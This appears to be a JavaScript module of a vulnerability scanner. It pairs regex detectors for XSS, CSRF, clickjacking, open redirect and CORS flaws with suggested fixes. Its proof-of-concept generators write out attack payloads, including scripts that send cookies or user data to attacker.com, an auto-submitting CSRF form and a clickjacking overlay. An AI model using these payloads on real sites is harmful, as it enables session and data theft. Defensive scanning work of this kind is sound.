/**
 * Web Application Tactics Module
 *
 * Detects web application vulnerabilities including XSS (stored, reflected,
 * DOM-based), CSRF, Clickjacking, Open Redirect, and CORS misconfiguration.
 * Priority 3 - client-side security controls.
 *
 * @module agents/adversary/tactics/web-app
 */
import { registerTactic, generateFindingId, } from "./index.js";
// ============================================================================
// Patterns
// ============================================================================
const XSS_STORED_PATTERNS = [
    {
        id: "xss-stored-dangerouslysetinnerhtml",
        name: "Stored XSS via dangerouslySetInnerHTML",
        description: "User content rendered with dangerouslySetInnerHTML without sanitization",
        cwe: "CWE-79",
        severity: "critical",
        regex: /dangerouslySetInnerHTML\s*=\s*\{\s*\{\s*__html\s*:\s*(?!DOMPurify|sanitize)[^}]*(?:props\.|req\.|body\.|data\.|user\.|comment\.|post\.)/gi,
    },
    {
        id: "xss-stored-innerhtml",
        name: "Stored XSS via innerHTML",
        description: "User content assigned to innerHTML without sanitization",
        cwe: "CWE-79",
        severity: "critical",
        regex: /\.innerHTML\s*=\s*(?!DOMPurify|sanitize)[^;]*(?:req\.|body\.|data\.|user\.|comment\.|post\.|params\.)/gi,
    },
    {
        id: "xss-stored-v-html",
        name: "Stored XSS via v-html (Vue)",
        description: "User content rendered with v-html directive without sanitization",
        cwe: "CWE-79",
        severity: "critical",
        regex: /v-html\s*=\s*["'](?!sanitize)[^"']*(?:user\.|data\.|comment\.|post\.)/gi,
    },
    {
        id: "xss-stored-ng-bind-html",
        name: "Stored XSS via ng-bind-html (Angular)",
        description: "User content rendered with ng-bind-html without $sanitize",
        cwe: "CWE-79",
        severity: "critical",
        regex: /ng-bind-html\s*=\s*["'](?!\$sanitize)[^"']*(?:user\.|data\.|comment\.)/gi,
    },
];
const XSS_REFLECTED_PATTERNS = [
    {
        id: "xss-reflected-query-param",
        name: "Reflected XSS via Query Parameter",
        description: "Query parameter reflected in response without encoding",
        cwe: "CWE-79",
        severity: "high",
        regex: /(?:res\.send|res\.write|res\.end|innerHTML)\s*\([^)]*(?:req\.query|query\.|params\.|searchParams\.get)/gi,
    },
    {
        id: "xss-reflected-template",
        name: "Reflected XSS in Template",
        description: "User input rendered in template without escaping",
        cwe: "CWE-79",
        severity: "high",
        regex: /<(?:div|span|p|h\d)[^>]*>\s*\{\{\s*(?:query\.|params\.|search\.|input\.)/gi,
    },
    {
        id: "xss-reflected-document-write",
        name: "Reflected XSS via document.write",
        description: "User input written to document without sanitization",
        cwe: "CWE-79",
        severity: "high",
        regex: /document\.write(?:ln)?\s*\([^)]*(?:location\.|window\.location|params\.|query\.)/gi,
    },
];
const XSS_DOM_PATTERNS = [
    {
        id: "xss-dom-location-hash",
        name: "DOM XSS via location.hash",
        description: "location.hash used in DOM sink without sanitization",
        cwe: "CWE-79",
        severity: "high",
        regex: /(?:innerHTML|outerHTML|insertAdjacentHTML|document\.write)\s*[=\(][^;]*location\.hash/gi,
    },
    {
        id: "xss-dom-location-search",
        name: "DOM XSS via location.search",
        description: "location.search parameters used in DOM sink",
        cwe: "CWE-79",
        severity: "high",
        regex: /(?:innerHTML|eval|setTimeout|setInterval)\s*\([^)]*(?:location\.search|URLSearchParams)/gi,
    },
    {
        id: "xss-dom-postmessage",
        name: "DOM XSS via postMessage",
        description: "postMessage data used in DOM sink without origin validation",
        cwe: "CWE-79",
        severity: "high",
        regex: /addEventListener\s*\(\s*['"]message['"][^)]*\)(?![^}]*(?:origin|source\.origin))[^}]*(?:innerHTML|eval|document\.write)/gis,
    },
    {
        id: "xss-dom-eval-location",
        name: "DOM XSS via eval with URL data",
        description: "eval() or Function() with URL-derived data",
        cwe: "CWE-79",
        severity: "critical",
        regex: /(?:eval|Function)\s*\([^)]*(?:location\.|window\.location|document\.URL|document\.referrer)/gi,
    },
];
const CSRF_PATTERNS = [
    {
        id: "csrf-missing-token",
        name: "CSRF: Missing Token Validation",
        description: "State-changing endpoint without CSRF token validation",
        cwe: "CWE-352",
        severity: "high",
        regex: /(?:router|app)\.\s*(?:post|put|delete|patch)\s*\([^)]*\)(?![^}]{0,500}(?:csrf|_csrf|csrfToken|csrf-token))/gis,
    },
    {
        id: "csrf-disabled",
        name: "CSRF: Protection Disabled",
        description: "CSRF protection explicitly disabled",
        cwe: "CWE-352",
        severity: "high",
        regex: /csrf\s*:\s*false|ignoreMethods\s*:\s*\[[^\]]*(?:POST|PUT|DELETE)/gi,
    },
    {
        id: "csrf-samesite-none",
        name: "CSRF: SameSite=None Cookie",
        description: "Cookie with SameSite=None allows cross-site requests",
        cwe: "CWE-352",
        severity: "medium",
        regex: /sameSite\s*:\s*['"]?none['"]?/gi,
    },
    {
        id: "csrf-ajax-no-header",
        name: "CSRF: AJAX without Custom Header",
        description: "AJAX state-change without custom header or token",
        cwe: "CWE-352",
        severity: "medium",
        regex: /fetch\s*\([^)]*method\s*:\s*['"](?:POST|PUT|DELETE)['"](?![^}]*(?:X-CSRF-Token|X-Requested-With|headers))/gis,
    },
];
const CLICKJACKING_PATTERNS = [
    {
        id: "clickjacking-no-frame-options",
        name: "Clickjacking: Missing X-Frame-Options",
        description: "Response missing X-Frame-Options or CSP frame-ancestors",
        cwe: "CWE-1021",
        severity: "medium",
        regex: /(?:helmet|securityHeaders|headers)\s*\([^)]*\)(?![^;]*(?:X-Frame-Options|frame-ancestors|frameguard))/gis,
    },
    {
        id: "clickjacking-frame-options-disabled",
        name: "Clickjacking: X-Frame-Options Disabled",
        description: "X-Frame-Options protection explicitly disabled",
        cwe: "CWE-1021",
        severity: "medium",
        regex: /frameguard\s*:\s*false|frame-ancestors\s*['"]none['"]/gi,
    },
];
const OPEN_REDIRECT_PATTERNS = [
    {
        id: "open-redirect-query-param",
        name: "Open Redirect via Query Parameter",
        description: "Redirect to user-controlled URL without whitelist validation",
        cwe: "CWE-601",
        severity: "medium",
        regex: /(?:res\.redirect|window\.location|location\.href)\s*\([^)]*(?:req\.query|query\.|params\.|searchParams\.get)(?![^)]*(?:whitelist|allowedDomains|startsWith|match\())/gi,
    },
    {
        id: "open-redirect-header",
        name: "Open Redirect via Referer/Origin Header",
        description: "Redirect based on Referer or Origin header",
        cwe: "CWE-601",
        severity: "medium",
        regex: /(?:redirect|location)\s*\([^)]*req\.(?:header|headers)\s*\(\s*['"](?:referer|origin)['"]/gi,
    },
    {
        id: "open-redirect-post-login",
        name: "Open Redirect in Post-Login Flow",
        description: "Post-login redirect without URL validation",
        cwe: "CWE-601",
        severity: "high",
        regex: /(?:login|authenticate)[^{]*\{[^}]*redirect[^}]*(?:returnUrl|redirect|next|continue)(?![^}]*(?:startsWith|match|whitelist))/gis,
    },
];
const CORS_PATTERNS = [
    {
        id: "cors-reflect-origin",
        name: "CORS: Reflected Origin",
        description: "CORS reflects arbitrary origins without validation",
        cwe: "CWE-942",
        severity: "high",
        regex: /['"]Access-Control-Allow-Origin['"],?\s*(?:req\.headers?\.origin|req\.header\(['"]origin)/gi,
    },
    {
        id: "cors-null-origin",
        name: "CORS: Null Origin Allowed",
        description: "CORS allows 'null' origin (file:// bypass)",
        cwe: "CWE-942",
        severity: "medium",
        regex: /['"]Access-Control-Allow-Origin['"],?\s*['"]null['"]/gi,
    },
    {
        id: "cors-wildcard-credentials",
        name: "CORS: Wildcard with Credentials",
        description: "CORS wildcard (*) with credentials enabled",
        cwe: "CWE-942",
        severity: "high",
        regex: /['"]Access-Control-Allow-Origin['"],?\s*['"][*]['"]/gi,
    },
    {
        id: "cors-regex-bypass",
        name: "CORS: Regex Validation Bypass",
        description: "CORS origin validation using flawed regex",
        cwe: "CWE-942",
        severity: "medium",
        regex: /(?:allowedOrigins|originWhitelist).*?\/.*?\.(?:endsWith|match)\s*\(/gi,
    },
];
// ============================================================================
// Tactic Implementation
// ============================================================================
const webAppTactic = {
    focusArea: "web-app",
    name: "Web Application",
    description: "Detects XSS, CSRF, Clickjacking, Open Redirect, and CORS vulnerabilities",
    patterns: [
        ...XSS_STORED_PATTERNS,
        ...XSS_REFLECTED_PATTERNS,
        ...XSS_DOM_PATTERNS,
        ...CSRF_PATTERNS,
        ...CLICKJACKING_PATTERNS,
        ...OPEN_REDIRECT_PATTERNS,
        ...CORS_PATTERNS,
    ],
    async analyzeFile(file, config) {
        const findings = [];
        for (const pattern of this.patterns) {
            if (!pattern.regex)
                continue;
            // Reset regex state
            pattern.regex.lastIndex = 0;
            let match;
            while ((match = pattern.regex.exec(file.content)) !== null) {
                // Calculate line number
                const beforeMatch = file.content.substring(0, match.index);
                const lineNum = (beforeMatch.match(/\n/g) || []).length + 1;
                // Skip if in comment
                const line = file.lines[lineNum - 1] || "";
                if (isInComment(line)) {
                    continue;
                }
                // Skip known false positives
                if (isFalsePositive(match[0], pattern.id, file)) {
                    continue;
                }
                const finding = {
                    id: generateFindingId("web-app", file.relativePath, lineNum, pattern.id),
                    tacticName: "web-app",
                    focusArea: "web-app",
                    patternId: pattern.id,
                    file: file.relativePath,
                    line: lineNum,
                    message: `${pattern.name}: ${pattern.description}`,
                    severity: pattern.severity,
                    confidence: calculateConfidence(match[0], pattern, file),
                    evidence: match[0].substring(0, 200),
                    cweIds: [pattern.cwe],
                    mitreIds: getMitreIds(pattern.id),
                    suggestedFix: getSuggestedFix(pattern.id),
                };
                findings.push(finding);
            }
        }
        return findings;
    },
    async generatePoC(finding) {
        const pocMap = {
            "xss-stored-dangerouslysetinnerhtml": () => storedXssPoC(finding, "React dangerouslySetInnerHTML"),
            "xss-stored-innerhtml": () => storedXssPoC(finding, "innerHTML"),
            "xss-stored-v-html": () => storedXssPoC(finding, "Vue v-html"),
            "xss-reflected-query-param": () => reflectedXssPoC(finding),
            "xss-reflected-template": () => reflectedXssPoC(finding),
            "xss-dom-location-hash": () => domXssPoC(finding, "location.hash"),
            "xss-dom-location-search": () => domXssPoC(finding, "location.search"),
            "xss-dom-postmessage": () => domXssPoC(finding, "postMessage"),
            "csrf-missing-token": () => csrfPoC(finding),
            "csrf-disabled": () => csrfPoC(finding),
            "clickjacking-no-frame-options": () => clickjackingPoC(finding),
            "open-redirect-query-param": () => openRedirectPoC(finding),
            "open-redirect-post-login": () => openRedirectPoC(finding),
            "cors-reflect-origin": () => corsMisconfigPoC(finding),
            "cors-wildcard-credentials": () => corsMisconfigPoC(finding),
        };
        const generator = pocMap[finding.patternId];
        return generator ? generator() : null;
    },
    getPromptEnhancement() {
        return `When analyzing for web application vulnerabilities, focus on:

1. **XSS (Cross-Site Scripting)**:
   - Stored XSS: User content persisted and rendered without sanitization
   - Reflected XSS: Query parameters or form data reflected in response
   - DOM XSS: Client-side JavaScript using untrusted sources (location.*, postMessage)
   - Check for proper encoding (HTML, JavaScript, URL context)
   - Verify sanitization libraries (DOMPurify, js-xss) are used correctly

2. **CSRF (Cross-Site Request Forgery)**:
   - State-changing endpoints (POST, PUT, DELETE) must have CSRF protection
   - Look for synchronizer tokens, double-submit cookies, or SameSite cookies
   - Verify AJAX requests include custom headers or tokens
   - Check for CORS configuration that might enable CSRF

3. **Clickjacking**:
   - Missing or misconfigured X-Frame-Options header
   - CSP frame-ancestors directive not set
   - Sensitive pages (login, payment) frameable by attackers

4. **Open Redirect**:
   - Redirect functions accepting user-controlled URLs
   - Missing whitelist validation on redirect targets
   - Post-authentication redirect vulnerabilities
   - Referer/Origin header-based redirects

5. **CORS Misconfiguration**:
   - Reflected origins without validation
   - Wildcard (*) with credentials enabled
   - Null origin allowed (file:// bypass)
   - Flawed regex validation (subdomain wildcards)

For each finding, determine:
- What's the attack vector and exploitability?
- What data or functionality can be compromised?
- Are there compensating controls (CSP, input validation)?`;
    },
    getRelevantFilePatterns() {
        return [
            "**/components/**",
            "**/views/**",
            "**/pages/**",
            "**/templates/**",
            "**/api/**",
            "**/routes/**",
            "**/controllers/**",
            "**/middleware/**",
            "**/*.tsx",
            "**/*.jsx",
            "**/*.vue",
            "**/*.svelte",
            "**/*.html",
            "**/*.ts",
            "**/*.js",
        ];
    },
};
// ============================================================================
// Helper Functions
// ============================================================================
function isInComment(line) {
    const trimmed = line.trim();
    return trimmed.startsWith("//") || trimmed.startsWith("*") || trimmed.startsWith("#") || trimmed.startsWith("<!--");
}
function isFalsePositive(match, patternId, file) {
    // Skip test files
    if (file.relativePath.includes("test") ||
        file.relativePath.includes("spec") ||
        file.relativePath.includes("mock")) {
        return true;
    }
    // Skip if using sanitization library
    const lowerMatch = match.toLowerCase();
    if (lowerMatch.includes("dompurify") ||
        lowerMatch.includes("sanitize") ||
        lowerMatch.includes("escape") ||
        lowerMatch.includes("encode")) {
        return true;
    }
    // Skip static/hardcoded values for XSS
    if (patternId.startsWith("xss-") && !match.includes(".") && !match.includes("req")) {
        return true;
    }
    return false;
}
function calculateConfidence(match, pattern, file) {
    let confidence = 70;
    // Higher confidence for obvious user input flows
    if (match.includes("req.") || match.includes("request.") || match.includes("query.") || match.includes("params.")) {
        confidence += 15;
    }
    // Higher confidence for critical severity
    if (pattern.severity === "critical") {
        confidence += 10;
    }
    // Lower confidence for framework files
    if (file.relativePath.includes("node_modules") || file.relativePath.includes(".next")) {
        confidence -= 30;
    }
    // Higher confidence for frontend components
    if (file.relativePath.includes("components") || file.relativePath.includes("pages")) {
        confidence += 5;
    }
    return Math.min(95, Math.max(50, confidence));
}
function getMitreIds(patternId) {
    const mapping = {
        "xss-stored-dangerouslysetinnerhtml": ["T1189", "T1203"],
        "xss-stored-innerhtml": ["T1189", "T1203"],
        "xss-reflected-query-param": ["T1189", "T1566"],
        "xss-dom-location-hash": ["T1189", "T1203"],
        "csrf-missing-token": ["T1659", "T1078"],
        "clickjacking-no-frame-options": ["T1189", "T1204"],
        "open-redirect-query-param": ["T1566", "T1078"],
        "cors-reflect-origin": ["T1189", "T1071"],
    };
    return mapping[patternId] || ["T1189"];
}
function getSuggestedFix(patternId) {
    const fixes = {
        "xss-stored-dangerouslysetinnerhtml": "Sanitize HTML content with DOMPurify before rendering: dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }}",
        "xss-stored-innerhtml": "Use textContent for plain text or sanitize with DOMPurify for HTML",
        "xss-stored-v-html": "Sanitize content: v-html=\"$sanitize(userContent)\" or use v-text for plain text",
        "xss-reflected-query-param": "Encode output based on context (HTML, JavaScript, URL). Use framework's built-in escaping.",
        "xss-reflected-template": "Use framework's auto-escaping ({{ }} in Vue, { } in React). Avoid v-html/dangerouslySetInnerHTML.",
        "xss-dom-location-hash": "Sanitize location.hash before using in DOM sinks, or use textContent instead of innerHTML",
        "xss-dom-postmessage": "Validate message.origin and sanitize message.data before DOM manipulation",
        "csrf-missing-token": "Implement CSRF protection: use csrf middleware, synchronizer tokens, or SameSite=Strict cookies",
        "csrf-disabled": "Enable CSRF protection for state-changing endpoints",
        "csrf-samesite-none": "Use SameSite=Strict or SameSite=Lax for session cookies unless cross-site access required",
        "clickjacking-no-frame-options": "Set X-Frame-Options: DENY or CSP frame-ancestors 'none' for sensitive pages",
        "clickjacking-frame-options-disabled": "Enable frameguard protection: helmet({ frameguard: { action: 'deny' } })",
        "open-redirect-query-param": "Validate redirect URLs against whitelist: if (allowedUrls.includes(url)) { redirect(url) }",
        "open-redirect-post-login": "Use relative URLs or validate against whitelist before redirecting",
        "cors-reflect-origin": "Validate origin against whitelist before reflecting in Access-Control-Allow-Origin",
        "cors-null-origin": "Reject 'null' origin or validate against specific whitelist",
        "cors-wildcard-credentials": "Never use Access-Control-Allow-Origin: * with credentials. Specify exact origins.",
        "cors-regex-bypass": "Use exact string matching or properly anchored regex for origin validation",
    };
    return fixes[patternId] || "Review and implement proper input validation and output encoding";
}
// ============================================================================
// PoC Generators
// ============================================================================
function storedXssPoC(finding, sink) {
    const steps = [
        {
            order: 1,
            action: "identify-input",
            description: "Identify the user input that gets stored",
            command: `Review ${finding.file}:${finding.line} to find the input source (comment, profile, post, etc.)`,
            expectedResult: "Input field identified (e.g., comment text, bio, post content)",
        },
        {
            order: 2,
            action: "test-basic-xss",
            description: "Test for XSS with basic payload",
            command: `Submit: <script>alert(document.domain)</script>`,
            expectedResult: "JavaScript executes when content is viewed",
        },
        {
            order: 3,
            action: "escalate-poc",
            description: "Demonstrate data exfiltration",
            command: `Submit: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>`,
            expectedResult: "Cookie sent to attacker server when page is viewed by any user",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "User input field that persists data",
            `Application renders content using ${sink}`,
        ],
        steps,
        payload: "<img src=x onerror=alert(document.domain)>",
        expectedResult: "JavaScript execution in victim browsers",
        safeTestInstructions: "Test on isolated environment. Use alert(document.domain) for PoC, never exfiltrate real data. Test with own account only.",
    };
}
function reflectedXssPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "identify-reflection",
            description: "Identify the reflected parameter",
            command: `Review ${finding.file}:${finding.line} for reflected user input`,
            expectedResult: "Query parameter or input that gets reflected in response",
        },
        {
            order: 2,
            action: "test-reflection",
            description: "Test parameter reflection",
            command: `curl "https://target/page?q=<test123>"`,
            expectedResult: "String <test123> appears in HTML response without encoding",
        },
        {
            order: 3,
            action: "craft-payload",
            description: "Craft XSS payload",
            command: `https://target/page?q=<script>alert(document.domain)</script>`,
            expectedResult: "JavaScript executes when victim clicks link",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Reflected parameter in URL or form",
            "Content rendered without proper encoding",
        ],
        steps,
        payload: "<img src=x onerror=alert(document.domain)>",
        expectedResult: "JavaScript execution when victim accesses crafted URL",
        safeTestInstructions: "Test with own browser only. Never send malicious links to users. Use alert() for PoC.",
    };
}
function domXssPoC(finding, source) {
    const payloads = {
        "location.hash": "#<img src=x onerror=alert(document.domain)>",
        "location.search": "?param=<img src=x onerror=alert(1)>",
        "postMessage": "window.postMessage('<img src=x onerror=alert(1)>', '*')",
    };
    const steps = [
        {
            order: 1,
            action: "analyze-source",
            description: `Analyze how ${source} is used in DOM sink`,
            command: `Review ${finding.file}:${finding.line} for data flow`,
            expectedResult: `${source} data flows to DOM sink without sanitization`,
        },
        {
            order: 2,
            action: "test-payload",
            description: "Test XSS payload",
            command: `Navigate to: https://target/page${payloads[source] || "#<test>"}`,
            expectedResult: "JavaScript executes in browser context",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            `Client-side code uses ${source} in DOM sink`,
            "No sanitization or encoding applied",
        ],
        steps,
        payload: payloads[source] || "<img src=x onerror=alert(1)>",
        expectedResult: "Client-side JavaScript execution",
        safeTestInstructions: "Test in isolated browser session. Clear cookies before testing. Never target other users.",
    };
}
function csrfPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "identify-endpoint",
            description: "Identify state-changing endpoint without CSRF protection",
            command: `Review ${finding.file}:${finding.line} for POST/PUT/DELETE endpoints`,
            expectedResult: "Endpoint identified (e.g., /api/profile/update, /transfer)",
        },
        {
            order: 2,
            action: "craft-form",
            description: "Craft malicious HTML form",
            command: `<form action="https://target/api/update" method="POST">
  <input name="email" value="attacker@evil.com">
  <input type="submit">
</form>
<script>document.forms[0].submit()</script>`,
            expectedResult: "Auto-submitting form ready",
        },
        {
            order: 3,
            action: "test-csrf",
            description: "Host malicious page and test",
            command: "Host HTML on attacker site, visit while authenticated to target",
            expectedResult: "Request succeeds without CSRF token, state is changed",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "State-changing endpoint without CSRF protection",
            "Victim authenticated session",
        ],
        steps,
        payload: '<form action="https://target/endpoint" method="POST"><input name="param" value="malicious"></form><script>document.forms[0].submit()</script>',
        expectedResult: "Unauthorized state change via cross-site request",
        safeTestInstructions: "Test with two test accounts. Never target real users. Verify CSRF protection after fix.",
    };
}
function clickjackingPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "verify-frameable",
            description: "Verify sensitive page can be framed",
            command: `curl -I https://target/sensitive | grep -i x-frame-options`,
            expectedResult: "No X-Frame-Options header present",
        },
        {
            order: 2,
            action: "craft-overlay",
            description: "Craft clickjacking overlay",
            command: `<style>iframe{position:absolute;opacity:0.1;width:100%;height:100%}</style>
<iframe src="https://target/delete-account"></iframe>
<button style="position:absolute;top:200px;left:100px">Click for Prize!</button>`,
            expectedResult: "Invisible iframe overlaying malicious button",
        },
        {
            order: 3,
            action: "test-click",
            description: "Test that clicks go to iframe",
            command: "Click visible button, action occurs in framed page",
            expectedResult: "User performs unintended action (e.g., account deletion)",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Sensitive page without X-Frame-Options",
            "User authenticated to target application",
        ],
        steps,
        payload: '<iframe src="https://target/sensitive" style="opacity:0.001"></iframe>',
        expectedResult: "UI redressing allows unintended user actions",
        safeTestInstructions: "Test with own account only. Use non-destructive actions for PoC.",
    };
}
function openRedirectPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "identify-param",
            description: "Identify redirect parameter",
            command: `Review ${finding.file}:${finding.line} for redirect logic`,
            expectedResult: "Redirect parameter identified (e.g., ?returnUrl=, ?next=)",
        },
        {
            order: 2,
            action: "test-redirect",
            description: "Test open redirect",
            command: `curl -I "https://target/login?returnUrl=https://evil.com"`,
            expectedResult: "302 redirect to attacker-controlled domain",
        },
        {
            order: 3,
            action: "craft-phish",
            description: "Demonstrate phishing scenario",
            command: `Send link: https://target.com/login?returnUrl=https://target-phishing.com`,
            expectedResult: "Victim redirected to phishing site after login",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Redirect parameter without whitelist validation",
            "Victim trusts source domain",
        ],
        steps,
        payload: "?returnUrl=https://attacker.com/phishing",
        expectedResult: "Redirect to arbitrary attacker domain, enabling phishing",
        safeTestInstructions: "Use benign test domain (example.com). Never redirect real users to phishing sites.",
    };
}
function corsMisconfigPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "verify-cors",
            description: "Verify CORS misconfiguration",
            command: `curl -H "Origin: https://evil.com" https://target/api/sensitive`,
            expectedResult: "Access-Control-Allow-Origin: https://evil.com (reflected)",
        },
        {
            order: 2,
            action: "craft-exploit",
            description: "Craft malicious page to steal data",
            command: `<script>
fetch('https://target/api/user', {credentials: 'include'})
  .then(r => r.json())
  .then(data => fetch('https://attacker.com/steal', {
    method: 'POST', body: JSON.stringify(data)
  }))
</script>`,
            expectedResult: "Malicious page ready to exfiltrate data",
        },
        {
            order: 3,
            action: "test-exploit",
            description: "Host and test cross-origin data theft",
            command: "Victim visits attacker page while authenticated to target",
            expectedResult: "Victim's data exfiltrated to attacker server",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "CORS misconfiguration allowing arbitrary origins",
            "Credentials included in cross-origin requests",
        ],
        steps,
        payload: "fetch('https://target/api/data', {credentials:'include'})",
        expectedResult: "Cross-origin data theft from authenticated users",
        safeTestInstructions: "Test with controlled test accounts. Never exfiltrate real user data. Verify fix restricts origins properly.",
    };
}
// ============================================================================
// Register Tactic
// ============================================================================
registerTactic(webAppTactic);
export { webAppTactic };
//# sourceMappingURL=web-app.js.map